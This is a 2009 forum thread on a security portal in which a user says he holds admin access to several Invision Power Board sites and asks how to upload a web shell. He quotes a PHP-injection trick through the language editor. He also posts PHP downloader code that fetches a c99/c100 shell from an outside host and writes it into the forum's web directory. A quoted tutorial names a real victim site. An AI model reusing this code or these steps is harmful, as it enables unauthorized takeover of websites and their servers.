Waraxe IT Security Portal
Login or Register
December 11, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 82
Members: 0
Total: 82
Full disclosure
SEC Consult SA-20241204-0 :: Multiple Critical Vulnerabilities in Image Access Scan2Net (14 CVE)
Microsoft Warbird and PMP security research - technical doc
Access Control in Paxton Net2 software
SEC Consult SA-20241127-0 :: Stored Cross-Site Scripting in Omada Identity (CVE-2024-52951)
SEC Consult SA-20241125-0 :: Unlocked JTAG interface and buffer overflow in Siemens SM-2558 Protocol Element, Siemens CP-2016 & CP-2019
Re: Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Invision Power Board -> Uploading Shell VIA IPB 2.3.5
Post new topicReply to topic View previous topic :: View next topic
Uploading Shell VIA IPB 2.3.5
PostPosted: Sat Aug 29, 2009 5:39 am Reply with quote
Mooka91
Advanced user
Advanced user
Joined: Aug 15, 2009
Posts: 73




Hey guys,

Ive got a few IPB sites i have Root admin accounts on, Im wondering how i can Upload a shell.

I have tried this

waraxe wrote:

This trick is working even against current IPB version!
Just go to admin-->Look and Feel-->Manage Languages

Then choose section, for example: public_help

Edit "help_txt", which originally is "Choose a topic from the list, or search for a topic"

Add some php code, so it becomes as:

Code:

Choose a topic from the list, or search for a topic

${${phpinfo()}}


Save changes. Then go to help section:

http://localhost/ipb.3.0.0.rc2/index.php?app=core&module=help

... and php code will be executed


Smile


To no avail, I have a feeling i am doing something wrong, Can somebody post me an In depth guide, or video... or something??

I am using
Code:
$linky="http://MYSITE/c99.txt";
$saved="/usr/home/www/site/public_html/forums/uploads/shell.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);


Using this shell
Code:
http://www.hack0wn.com/forum/index.php?topic=325.0


Thanks.

Edit:

Also tried this, But the English is shocking, To hard for me to understand.
Code:
Hi everybody
Today i make video tutorial upload shell on invision power board
Let's start


victim: http://www.malaysianwings.com/

first
Go to "Tools & Settings", select any of them, then press "Add New Setting"
next
then in line "Raw PHP code to eval before showing and saving?" write php code like this:

php code is:

$linky="http://yugj.biz/c100.txt";
$saved="/home/malaysi4/public_html/forum/c.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);


$linky="link shell .txt"; ==> http://yugj.biz/c100.txt

$saved="path victim"; ==> path

i need find it

/home/malaysi4/public_html/ ==> path


the end.

made by YuGj.
View user's profile Send private message
PostPosted: Sun Aug 30, 2009 10:58 pm Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




can you run any PHP code at all?

_________________
http://www.gibbocool.com
View user's profile Send private message Visit poster's website
Uploading Shell VIA IPB 2.3.5
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.045 Seconds